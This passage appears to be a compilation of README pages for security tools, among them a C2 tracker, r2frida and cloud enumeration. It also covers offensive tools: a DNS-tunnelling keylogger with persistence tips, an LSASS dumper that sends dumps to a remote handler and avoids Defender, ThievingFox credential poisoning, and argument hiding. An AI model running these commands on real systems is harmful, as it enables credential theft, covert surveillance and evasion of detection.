                        The share on which KeePass is installed (Default: c$)
  --keepass-path KEEPASS_PATH
                        The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/)
  --keepassxc           Try to cleanup all poisonning artifacts related to KeePassXC.exe
  --keepassxc-path KEEPASSXC_PATH
                        The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/)
  --keepassxc-share KEEPASSXC_SHARE
                        The share on which KeePassXC is installed (Default: c$)
  --mstsc               Try to cleanup all poisonning artifacts related to mstsc.exe
  --consent             Try to cleanup all poisonning artifacts related to Consent.exe
  --logonui             Try to cleanup all poisonning artifacts related to LogonUI.exe
  --rdcman              Try to cleanup all poisonning artifacts related to RDCMan.exe
  --mobaxterm           Try to cleanup all poisonning artifacts related to MobaXTerm.exe
  --all                 Try to cleanup all poisonning artifacts related to all applications

Collect

For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.

Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.

$ python3 client/ThievingFox.py collect -h
usage: ThievingFox.py collect [-h] [-hashes HASHES] [-aesKey AESKEY] [-k] [-dc-ip DC_IP] [-no-pass] [--tempdir TEMPDIR] [--keepass] [--keepassxc] [--mstsc] [--consent]
                              [--logonui] [--rdcman] [--mobaxterm] [--all]
                              target

positional arguments:
  target                Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]

options:
  -h, --help            show this help message and exit
  -hashes HASHES, --hashes HASHES
                        LM:NT hash
  -aesKey AESKEY, --aesKey AESKEY
                        AES key to use for Kerberos Authentication
  -k                    Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version.
  -dc-ip DC_IP, --dc-ip DC_IP
                        IP Address of th   e domain controller
  -no-pass, --no-pass   Do not prompt for password
  --tempdir TEMPDIR     The name of the temporary directory to use for DLLs and output (Default: ThievingFox)
  --keepass             Collect KeePass.exe logs
  --keepassxc           Collect KeePassXC.exe logs
  --mstsc               Collect mstsc.exe logs
  --consent             Collect Consent.exe logs
  --logonui             Collect LogonUI.exe logs
  --rdcman              Collect RDCMan.exe logs
  --mobaxterm           Collect MobaXTerm.exe logs
  --all                 Collect logs from all applications

Url-Status-Checker - Tool For Swiftly Checking The Status Of URLs

python status_checker.py [-h] [-d DOMAIN] [-l LIST] [-o OUTPUT] [-v] [-update]

python status_checker.py -l urls.txt -o results.txt

C2-Tracker - Live Feed Of C2 Servers, Tools, And Botnets

Free to use IOC feed for various tools/malware. It started out for just C2 tools but has morphed into tracking infostealers and botnets as well. It uses shodan.io/">Shodan searches to collect the IPs. The most recent collection is always stored in data; the IPs are broken down by tool and there is an all.txt.

The feed should update daily. Actively working on making the backend more reliable

Honorable Mentions

Many of the Shodan queries have been sourced from other CTI researchers:

• BushidoToken
• Michael Koczwara
• ViriBack
• Gi7W0rm
• @Glacius_

Huge shoutout to them!

Thanks to BertJanCyber for creating the KQL query for ingesting this feed

And finally, thanks to Y_nexro for creating C2Live in order to visualize the data

What do I track?

• C2's
  • Cobalt Strike
  • Metasploit Framework
  • Covenant
  • Mythic
  • Brute Ratel C4
  • Posh
  • Sliver
  • Deimos
  • PANDA
  • NimPlant C2
  • Havoc C2
  • Caldera
  • Empire
  • Ares
• Malware
  • AcidRain Stealer
  • Misha Stealer (AKA Grand Misha)
  • Patriot Stealer
  • RAXNET Bitcoin Stealer
  • Titan Stealer
  • Collector Stealer
  • Mystic Stealer
  • Gotham Stealer
  • Meduza Stealer
  • Quasar RAT
  • ShadowPad
  • AsyncRAT
  • DcRat
  • BitRAT
  • DarkComet Trojan
  • XtremeRAT Trojan
  • NanoCore RAT Trojan
  • Gh0st RAT Trojan
  • DarkTrack RAT Trojan
  • njRAT Trojan
  • Remcos Pro RAT Trojan
  • Poison Ivy Trojan
  • Orcus RAT Trojan
  • ZeroAccess Trojan
  • HOOKBOT Trojan
• Tools
  • XMRig Monero Cryptominer
  • GoPhish
• Botnets
  • 7777 Botnet

Running Locally

If you want to host a private version, put your Shodan API key in an environment variable called SHODAN_API_KEY

echo SHODAN_API_KEY=API_KEY >> ~/.bashrc
bash
python3 -m pip install -r requirements.txt
python3 tracker.py

Contributing

I encourage opening an issue/PR if you know of any additional Shodan searches for identifying adversary infrastructure. I will not set any hard guidelines around what can be submitted, just know, fidelity is paramount (high true/false positive ratio is the focus).

References

• Hunting C2 with Shodan by Michael Koczwara
• Hunting Cobalt Strike C2 with Shodan by Michael Koczwara
• https://twitter.com/MichalKoczwara/status/1591750513238118401?cxt=HHwWgsDUiZGqhJcsAAAA
• BushidoToken's OSINT-SearchOperators
• https://twitter.com/MichalKoczwara/status/1641119242618650653
• https://twitter.com/MichalKoczwara/status/1641676761283850241
• https://twitter.com/_montysecurity/status/1643164749599834112
• https://twitter.com/ViriBack/status/1713714868564394336
• https://gi7w0rm.medium.com/the-curious-case-of-the-7777-botnet-86e3464c3ffd
• https://twitter.com/Glacius_/status/1731699013873799209

NoArgs - Tool Designed To Dynamically Spoof And Conceal Process Arguments While Staying Undetected

NoArgs is a tool designed to dynamically spoof and conceal process arguments while staying undetected. It achieves this by hooking into Windows APIs to dynamically manipulate the Windows internals on the go. This allows NoArgs to alter process arguments discreetly.

Default Cmd:

Windows Event Logs:

Using NoArgs:

Windows Event Logs:

Functionality Overview

The tool primarily operates by intercepting process creation calls made by the Windows API function CreateProcessW. When a process is initiated, this function is responsible for spawning the new process, along with any specified command-line arguments. The tool intervenes in this process creation flow, ensuring that the arguments are either hidden or manipulated before the new process is launched.

Hooking Mechanism

Hooking into CreateProcessW is achieved through Detours, a popular library for intercepting and redirecting Win32 API functions. Detours allows for the redirection of function calls to custom implementations while preserving the original functionality. By hooking into CreateProcessW, the tool is able to intercept the process creation requests and execute its custom logic before allowing the process to be spawned.

Process Environment Block (PEB) Manipulation

The Process Environment Block (PEB) is a data structure utilized by Windows to store information about a process's environment and execution state. The tool leverages the PEB to manipulate the command-line arguments of the newly created processes. By modifying the command-line information stored within the PEB, the tool can alter or conceal the arguments passed to the process.

Demo: Running Mimikatz and passing it the arguments:

Process Hacker View:

All the arguemnts are hidden dynamically

Process Monitor View:

Technical Implementation

1. Injection into Command Prompt (cmd): The tool injects its code into the Command Prompt process, embedding it as Position Independent Code (PIC). This enables seamless integration into cmd's memory space, ensuring covert operation without reliance on specific memory addresses. (Only for The Obfuscated Executable in the releases page)

2. Windows API Hooking: Detours are utilized to intercept calls to the CreateProcessW function. By redirecting the execution flow to a custom implementation, the tool can execute its logic before the original Windows API function.

3. Custom Process Creation Function: Upon intercepting a CreateProcessW call, the custom function is executed, creating the new process and manipulating its arguments as necessary.

4. PEB Modification: Within the custom process creation function, the Process Environment Block (PEB) of the newly created process is accessed and modified to achieve the goal of manipulating or hiding the process arguments.

5. Execution Redirection: Upon completion of the manipulations, the execution seamlessly returns to Command Prompt (cmd) without any interruptions. This dynamic redirection ensures that subsequent commands entered undergo manipulation discreetly, evading detection and logging mechanisms that relay on getting the process details from the PEB.

Installation and Usage:

Option 1: Compile NoArgs DLL:

• You will need microsoft/Detours">Microsoft Detours installed.

• Compile the DLL.

• Inject the compiled DLL into any cmd instance to manipulate newly created process arguments dynamically.

Option 2: Download the compiled executable (ready-to-go) from the releases page.

Refrences:

• https://en.wikipedia.org/wiki/Microsoft_Detours
• https://github.com/microsoft/Detours
• https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
• https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++

Toolkit - The Essential Toolkit For Reversing, Malware Analysis, And Cracking

This tool compilation is carefully crafted with the purpose of being useful both for the beginners and veterans from the malware analysis world. It has also proven useful for people trying their luck at the cracking underworld.

It's the ideal complement to be used with the manuals from the site, and to play with the numbered theories mirror.

Advantages

To be clear, this pack is thought to be the most complete and robust in existence. Some of the pros are:

1. It contains all the basic (and not so basic) tools that you might need in a real life scenario, be it a simple or a complex one.

2. The pack is integrated with an Universal Updater made by us from scratch. Thanks to that, we get to mantain all the tools in an automated fashion.

3. It's really easy to expand and modify: you just have to update the file bin\updater\tools.ini to integrate the tools you use to the updater, and then add the links for your tools to bin\sendto\sendto, so they appear in the context menus.

4. The installer sets up everything we might need automatically - everything, from the dependencies to the environment variables, and it can even add a scheduled task to update the whole pack of tools weekly.

Installation

1. You can simply download the stable versions from the release section, where you can also find the installer.

2. Once downloaded, you can update the tools with the Universal Updater that we specifically developed for that sole purpose.
   You will find the binary in the folder bin\updater\updater.exe.

Tool set

This toolkit is composed by 98 apps that cover everything we might need to perform reverse engineering and binary/malware analysis.
Every tool has been downloaded from their original/official websites, but we still recommend you to use them with caution, specially those tools whose official pages are forum threads. Always exercise common sense.
You can check the complete list of tools here.

About contributions

Pull Requests are welcome. If you'd want to propose big changes, you should first create an Issue about it, so we all can analyze and discuss it. The tools are compressed with 7-zip, and the format used for nomenclature is {name} - {version}.7z

R2Frida - Radare2 And Frida Better Together

This is a self-contained plugin for radare2 that allows to instrument remote processes using frida.

The radare project brings a complete toolchain for reverse engineering, providing well maintained functionalities and extend its features with other programming languages and tools.

Frida is a dynamic instrumentation toolkit that makes it easy to inspect and manipulate running processes by injecting your own JavaScript, and optionally also communicate with your scripts.

Features

• Run unmodified Frida scripts (Use the :. command)
• Execute snippets in C, Javascript or TypeScript in any process
• Can attach, spawn or launch in local or remote systems
• List sections, symbols, exports, protocols, classes, methods
• Search for values in memory inside the agent or from the host
• Replace method implementations or create hooks with short commands
• Load libraries and frameworks in the target process
• Support Dalvik, Java, ObjC, Swift and C interfaces
• Manipulate file descriptors and environment variables
• Send signals to the process, continue, breakpoints
• The r2frida io plugin is also a filesystem fs and debug backend
• Automate r2 and frida using r2pipe
• Read/Write process memory
• Call functions, syscalls and raw code snippets
• Connect to frida-server via usb or tcp/ip
• Enumerate apps and processes
• Trace registers, arguments of functions
• Tested on x64, arm32 and arm64 for Linux, Windows, macOS, iOS and Android
• Doesn't require frida to be installed in the host (no need for frida-tools)
• Extend the r2frida commands with plugins that run in the agent
• Change page permissions, patch code and data
• Resolve symbols by name or address and import them as flags into r2
• Run r2 commands in the host from the agent
• Use r2 apis and run r2 commands inside the remote target process.
• Native breakpoints using the :db api
• Access remote filesystems using the r_fs api.

Installation

The recommended way to install r2frida is via r2pm:

$ r2pm -ci r2frida

Binary builds that don't require compilation will be soon supported in r2pm and r2env. Meanwhile feel free to download the last builds from the Releases page.

Compilation

Dependencies

• radare2
• pkg-config (not required on windows)
• curl or wget
• make, gcc
• npm, nodejs (will be soon removed)

In GNU/Debian you will need to install the following packages:

$ sudo apt install -y make gcc libzip-dev nodejs npm curl pkg-config git

Instructions

$ git clone https://github.com/nowsecure/r2frida.git
$ cd r2frida
$ make
$ make user-install

Windows

• Install meson and Visual Studio
• Unzip the latest radare2 release zip in the r2frida root directory
• Rename it to radare2 (instead of radare2-x.y.z)
• To make the VS compiler available in PATH (preconfigure.bat)
• Run configure.bat and then make.bat
• Copy the b\r2frida.dll into r2 -H R2_USER_PLUGINS

Usage

For testing, use r2 frida://0, as attaching to the pid0 in frida is a special session that runs in local. Now you can run the :? command to get the list of commands available.

$ r2 'frida://?'
r2 frida://[action]/[link]/[device]/[target]
* action = list | apps | attach | spawn | launch
* link   = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://?                        # show this help
* frida://                         # list local processes
* frida://0                        # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2      # abspath to spawn
* frida://rax2                     # same as above, considering local/bin is in PATH
* frida://spawn/$(program)         # spawn a new process in the current system
* frida://attach/(target)          # attach to target PID in current host
USB:
* frida://list/usb//               # list processes in the first usb device
* frida://apps/usb//               # list apps in the first usb device
* frida://attach/usb//12345        # attach to given pid in the first usb device
* frida://spawn/usb//appname       # spawn an app in the first resolved usb device
* frida://launch/usb//appname      # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
  R2FRIDA_SAFE_IO=0|1              # Workaround a Frida bug on Android/thumb
  R2FRIDA_DEBUG=0|1                # Used to debug argument parsing behaviour
  R2FRIDA_COMPILER_DISABLE=0|1     # Disable the new frida typescript compiler (`:. foo.ts`)
  R2FRIDA_AGENT_SCRIPT=[file]      # path to file of the r2frida agent

Examples

$ r2 frida://0     # same as frida -p 0, connects to a local session

You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)

$ r2 frida://rax2  # attach to the first process named `rax2`
$ r2 frida://1234  # attach to the given pid

Using the absolute path of a binary to spawn will spawn the process:

$ r2 frida:///bin/ls
[0x00000000]> :dc        # continue the execution of the target program

Also works with arguments:

$ r2 frida://"/bin/ls -al"

For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.

$ r2 frida://spawn/usb/         # enumerate devices
$ r2 frida://spawn/usb//        # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app

Commands

These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.

:i        # get information of the target (pid, name, home, arch, bits, ..)
.:i*      # import the target process details into local r2
:?        # show all the available commands
:dm       # list maps. Use ':dm|head' and seek to the program base address
:iE       # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-*     # delete all traces

Plugins

r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.

See the plugins/ directory for some more example plugin scripts.

[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
  if (name === 'test') {
    return function(args) {
      console.log('Hello Args From r2frida plugin', args);
      return 'Things Happen';
    }
  }
});
[0x00000000]> :. example.js   # load the plugin script

The :. command works like the r2's . command, but runs inside the agent.

:. a.js  # run script which registers a plugin
:.       # list plugins
:.-test  # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)

Termux

If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.

$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...

Troubleshooting

Ensure you are using a modern version of r2 (preferibly last release or git).

Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.

If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.

Design

 +---------+
 | radare2 |     The radare2 tool, on top of the rest
 +---------+
      :
 +----------+
 | io_frida |    r2frida io plugin
 +----------+
      :
 +---------+
 |  frida  |     Frida host APIs and logic to interact with target
 +---------+
      :
  +-------+
  |  app  |      Target process instrumented by Frida with Javascript
  +-------+

Credits

This plugin has been developed by pancake aka Sergi Alvarez (the author of radare2) for NowSecure.

I would like to thank Ole André for writing and maintaining Frida as well as being so kind to proactively fix bugs and discuss technical details on anything needed to make this union to work. Kudos

Cloud_Enum - Multi-cloud OSINT Tool. Enumerate Public Resources In AWS, Azure, And Google Cloud

Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.

Currently enumerates the following:

Amazon Web Services: - Open / Protected S3 Buckets - awsapps (WorkMail, WorkDocs, Connect, etc.)

Microsoft Azure: - Storage Accounts - Open Blob Storage Containers - Hosted Databases - Virtual Machines - Web Apps

Google Cloud Platform - Open / Protected GCP Buckets - Open / Protected Firebase Realtime Databases - Google App Engine sites - Cloud Functions (enumerates project/regions with existing functions, then brute forces actual function names) - Open Firebase Apps

See it in action in Codingo's video demo here.

Usage

Setup

Several non-standard libaries are required to support threaded HTTP requests and dns lookups. You'll need to install the requirements as follows:

pip3 install -r ./requirements.txt

Running

The only required argument is at least one keyword. You can use the built-in fuzzing strings, but you will get better results if you supply your own with -m and/or -b.

You can provide multiple keywords by specifying the -k argument multiple times.

Keywords are mutated automatically using strings from enum_tools/fuzz.txt or a file you provide with the -m flag. Services that require a second-level of brute forcing (Azure Containers and GCP Functions) will also use fuzz.txt by default or a file you provide with the -b flag.

Let's say you were researching "somecompany" whose website is "somecompany.io" that makes a product called "blockchaindoohickey". You could run the tool like this:

./cloud_enum.py -k somecompany -k somecompany.io -k blockchaindoohickey

HTTP scraping and DNS lookups use 5 threads each by default. You can try increasing this, but eventually the cloud providers will rate limit you. Here is an example to increase to 10.

./cloud_enum.py -k keyword -t 10

IMPORTANT: Some resources (Azure Containers, GCP Functions) are discovered per-region. To save time scanning, there is a "REGIONS" variable defined in cloudenum/azure_regions.py and cloudenum/gcp_regions.py that is set by default to use only 1 region. You may want to look at these files and edit them to be relevant to your own work.

Complete Usage Details

usage: cloud_enum.py [-h] -k KEYWORD [-m MUTATIONS] [-b BRUTE]

Multi-cloud enumeration utility. All hail OSINT!

optional arguments:
  -h, --help            show this help message and exit
  -k KEYWORD, --keyword KEYWORD
                        Keyword. Can use argument multiple times.
  -kf KEYFILE, --keyfile KEYFILE
                        Input file with a single keyword per line.
  -m MUTATIONS, --mutations MUTATIONS
                        Mutations. Default: enum_tools/fuzz.txt
  -b BRUTE, --brute BRUTE
                        List to brute-force Azure container names. Default: enum_tools/fuzz.txt
  -t THREADS, --threads THREADS
                        Threads for HTTP brute-force. Default = 5
  -ns NAMESERVER, --nameserver NAMESERVER
                        DNS server to use in brute-force.
  -l LOGFILE, --logfile LOGFILE
                        Will APPEND found items to specified file.
  -f FORMAT, --format FORMAT
                        Format for log file (text,json,csv - defaults to text)
  --disable-aws         Disable Amazon checks.
  --disable-azure       Disable Azure checks.
  --disable-gcp         Disable Google checks.
  -qs, --quickscan      Disable all mutations and second-level scans

Thanks

So far, I have borrowed from: - Some of the permutations from GCPBucketBrute

Noia - Simple Mobile Applications Sandbox File Browser Tool

Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.

Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.

Installation & Usage

npm install -g noia
noia

Features

• Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.

• View custom binary files. Directly preview SQLite databases, images, and more.

• Search application by name.

• Search files and directories by name.

• Navigate to a custom directory using the ctrl+g shortcut.

• Download the application files and directories for further analysis.

• Basic iOS support

and more

Setup

Desktop requirements:

• node.js LTS and npm
• Any decent modern desktop browser

Noia is available on npm, so just type the following command to install it and run it:

npm install -g noia
noia

Device setup:

Noia is powered by frida.re, thus requires Frida to run.

Rooted Device

See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/

Non-rooted Device

• https://koz.io/using-frida-on-android-without-root/
• https://github.com/sensepost/objection/wiki/Patching-Android-Applications
• https://nowsecure.com/blog/2020/01/02/how-to-conduct-jailed-testing-with-frida/

Security Warning

This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.

LICENCE

MIT

DNS-Tunnel-Keylogger - Keylogging Server And Client That Uses DNS Tunneling/Exfiltration To Transmit Keystrokes

This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.

These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.

Server

Setup

The server uses python3.

To install dependencies, run python3 -m pip install -r requirements.txt

Starting the Server

To start the server, run python3 main.py

usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

By default, the server listens on UDP port 53. Use the -p flag to specify a different port.

ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.

domain is the domain to listen for, which should be the domain that the server is authoritative for.

Registrar

On the registrar, you want to change your domain's namespace to custom DNS.

Point them to two domains, ns1.example.com and ns2.example.com.

Add records that make point the namespace domains to your exfiltration server's IP address.

This is the same as setting glue records.

Client

Linux

The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.

logger.sh

# Usage: logger.sh [-options] domain
# Positional Arguments:
#   domain: the domain to send data to
# Options:
#   -p path: give path to log file to listen to
#   -l: run the logger with warnings and errors printed

To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.

The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.

The -l option will show warnings and errors. Can be useful for debugging.

logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.

connection.sh

Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Build

To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.

make production domain=example.com

You can also choose to build the program with debugging by making the debug target.

make debug domain=example.com

For both targets, you will need to specify the domain the server is listening for.

Sending Test Requests

You can use dig to send requests to the server:

dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.

Replace example.com with the domain the server is listening for.

Protocol

Starting a Connection

A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.

The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].

The server will respond with an IP address in following format: 123.123.123.[id]

Concurrent connections cannot exceed 254, and clients are never considered "disconnected."

Exfiltrating Data

A record requests starting with b indicate exfiltrated data being sent to the server.

The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].

The server will respond with [code].123.123.123

id is the id that was established on connection. Data is sent as ASCII encoded in hex.

code is one of the codes described below.

Response Codes

200: OK

If the client sends a request that is processed normally, the server will respond with code 200.

201: Malformed Record Requests

If the client sends an malformed record request, the server will respond with code 201.

202: Non-Existant Connections

If the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.

203: Out of Order Packets

If the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.

204 Reached Max Connection

If the client attempts to create a connection when the max has reached, the server will respond with code 204.

Dropped Packets

Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.

Side Notes

Linux

Log File

The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.

Non-Interactive Shells

The keylogger relies on script, so the keylogger won't run in non-interactive shells.

Windows

Repeated Requests

For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.

MultiDump - Post-Exploitation Tool For Dumping And Extracting LSASS Memory Discreetly

MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.

Blog post: https://xre0us.io/posts/multidump

MultiDump supports LSASS dump via ProcDump.exe or comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.

Usage

    __  __       _ _   _ _____
   |  \/  |_   _| | |_(_)  __ \ _   _ _ __ ___  _ __
   | |\/| | | | | | __| | |  | | | | | '_ ` _ \| '_ \
   | |  | | |_| | | |_| | |__| | |_| | | | | | | |_) |
   |_|  |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
                                               |_|

Usage:  MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]

-p              Path to save procdump.exe, use full path. Default to temp directory
-l              Path to save encrypted dump file, use full path. Default to current directory
-r              Set ip:port to connect to a remote handler
--procdump      Writes procdump to disk and use it to dump LSASS
--nodump        Disable LSASS dumping
--reg           Dump SAM, SECURITY and SYSTEM hives
--delay         Increase interval between connections to for slower network speeds
-v              Enable v   erbose mode

MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
        MultiDump.exe -l C:\Users\Public\lsass.dmp -v
        MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000

usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]

Handler for RemoteProcDump

options:
  -h, --help            show this help message and exit
  -r REMOTE, --remote REMOTE
                        Port to receive remote dump file
  -l LOCAL, --local LOCAL
                        Local dump file, key needed to decrypt
  --sam SAM             Local SAM save, key needed to decrypt
  --security SECURITY   Local SECURITY save, key needed to decrypt
  --system SYSTEM       Local SYSTEM save, key needed to decrypt
  -k KEY, --key KEY     Key to decrypt local file
  --override-ip OVERRIDE_IP
                        Manually specify the IP address for key generation in remote mode, for proxied connection

As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required.

The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your enviroment. If you see the error All detection methods failed, it's likely the Pypykatz version is outdated.

By default, MultiDump uses the Comsvc.dll method and saves the encrypted dump in the current directory.

MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e

./ProcDumpHandler.py -f dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e

If --procdump is used, ProcDump.exe will be writtern to disk to dump LSASS.

In remote mode, MultiDump connects to the handler's listener.

./ProcDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...

MultiDump.exe -r 10.0.0.1:9001

The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the --override-ip option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r.

An additional option to dump the SAM, SECURITY and SYSTEM hives are available with --reg, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier.

Building MultiDump

Open in Visual Studio, build in Release mode.

Customising MultiDump

It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project EncryptionHelper, is included. Simply change the key or strings and the output of the compiled EncryptionHelper.exe can be pasted into MultiDump.c and Common.h.

Self deletion can be toggled by uncommenting the following line in Common.h:

#define SELF_DELETION

To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in Debug.h:

//#define DEBUG

MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/

Credits

• Some techniques used learnt from MalDev Academy, it is an awesome course, highly recommended
• Inspired by proc_noprocdump
• Code to further process LSASS dump from lsassy
• Testing and suggestions from ballro
• Testing and suggestions from DisplayGFX, nthdeg and silentbee

mapXplore - Allow Exporting The Information Downloaded With Sqlmap To A Relational Database Like Postgres And Sqlite

mapXplore is a modular application that imports data extracted of the sqlmap to PostgreSQL or SQLite database.

Its main features are:

• Import of information extracted from sqlmap to PostgreSQL or SQLite for subsequent querying.
• Sanitized information, which means that at the time of import, it decodes or transforms unreadable information into readable information.
• Search for information in all tables, such as passwords, users, and desired information.

• Automatic export of information stored in base64, such as:

  • Word, Excel, PowerPoint files
  • .zip files
  • Text files or plain text information
  • Images

• Filter tables and columns by criteria.

• Filter by different types of hash functions without requiring prior conversion.
• Export relevant information to Excel or HTML

Installation

Requirements

• python-3.11

git clone https://github.com/daniel2005d/mapXplore
cd mapXplore
pip install -r requirements

Usage

It is a modular application, and consists of the following:

• config: It is responsible for configuration, such as the database engine to use, import paths, among others.
• import: It is responsible for importing and processing the information extracted from sqlmap.
• query: It is the main module capable of filtering and extracting the required information.
  • Filter by tables
  • Filter by columns
  • Filter by one or more words
  • Filter by one or more hash functions within which are:
    • MD5
    • SHA1
    • SHA256
    • SHA3
    • ....

Beginning

Allows loading a default configuration at the start of the program

python engine.py [--config config.json]

Modules

• config
• import
• principal|search

Dorkish - Chrome Extension Tool For OSINT & Recon

During reconaissance phase or when doing OSINT , we often use google dorking and shodan and thus the idea of Dorkish.
Dorkish is a Chrome extension tool that facilitates custom dork creation for Google and Shodan using the builder and it offers prebuilt dorks for efficient reconnaissance and OSINT engagement.

Installation And Setup

1- Clone the repository

git clone https://github.com/yousseflahouifi/dorkish.git

2- Go to chrome://extensions/ and enable the Developer mode in the top right corner.
3- click on Load unpacked extension button and select the dorkish folder.

Note: For firefox users , you can find the extension here : https://addons.mozilla.org/en-US/firefox/addon/dorkish/

Features

Google dorking

• Builder with keywords to filter your google search results.
• Prebuilt dorks for Bug bounty programs.
• Prebuilt dorks used during the reconnaissance phase in bug bounty.
• Prebuilt dorks for exposed files and directories
• Prebuilt dorks for logins and sign up portals
• Prebuilt dorks for cyber secruity jobs

Shodan dorking

• Builder with filter keywords used in shodan.
• Varierty of prebuilt dorks to find IOT , Network infrastructure , cameras , ICS , databases , etc.

Usage

Once you have found or built the dork you need, simply click it and click search. This will direct you to the desired search engine, Shodan or Google, with the specific dork you've entered. Then, you can explore and enjoy the results that match your query.

TODO

